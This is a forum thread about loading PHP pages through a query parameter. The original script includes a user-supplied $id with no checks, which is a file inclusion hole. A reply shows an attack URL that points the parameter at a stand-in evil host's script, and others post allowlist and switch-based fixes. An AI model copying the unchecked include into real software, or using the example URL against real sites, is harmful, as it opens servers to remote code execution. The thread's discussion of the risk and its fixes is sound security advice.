PHP Page Problem

[Webviper2006]

Hi I make this script...

<? if($id) { include("$id.php"); } else { include("home.php"); } ?>

On my index.php

Then I make a link like <a href="index.php?id=members">Members</a>

Why does it like refreshes the whole page? I want it to be on only one table. So I can keep the menu and the ads.

I think I should use iframe right?

[JonM]

iFrame? ewww lol . Trust me, stick to refreshing the whole page. Now i'm confused though, why is it a problem for it to refresh? I may understand what you are talking about. I will post an example of how to make it work even w/ the annoying refresh.

[Lakie]

<? if($id) { include("$id.php"); } else { include("home.php"); } ?>

I think thats a major security risk..

http://yoursite.com/index.php?id=http://www.evilsite.com/evil/evilcode.php

Need to chuck some checks in there to make sure its a legit file your including...

[Capers]

Originally posted by Mike
I think thats a major security risk..

http://yoursite.com/index.php?id=htt...l/evilcode.php

Need to chuck some checks in there to make sure its a legit file your including...

Could do that by having an array of acceptable values for $id:

E.g.

PHP Code:

<?
$allowed_includes = array("page1","page2","page3");

if(isset($_GET[id])){

    //First check that the file is allowed to be included
    if(in_array($_GET[id],$allowed_includes)){

        //Check that file exists to be safe
        
        if(file_exists($_GET[id] . ".php")){

            include($_GET[id] . ".php");

        }else{

            echo "Page does not exist!";

        }

    }else{

        echo "Path not allowed!";

    }

}else{

    include("home.php");

}
?>

Anyones welcome to that code, but they better bug check it first cus i just wrote it and didnt bother checking.

[Webviper2006]

So how can I use one? Last time I did not knew PHP and then I had to copy paste on every page I done! So?

[Capers]

Sorry, I'm finding it very hard to understand exactly what you are asking for many of your posts. Could you maybe be more clear?

[Webviper2006]

Ok nevermind sorry.

[BeBop]

<?php
if($id == "members"){
include("members.html");
}elseif($id == "roster"){
include("roster.html");
}else{
include("home.html");
}
?>

or

<?php
switch($id){
case members;
include("members.html");
break;

case roster;
include("roster.php");
break;

default:
include("home.html");
break;
}
?>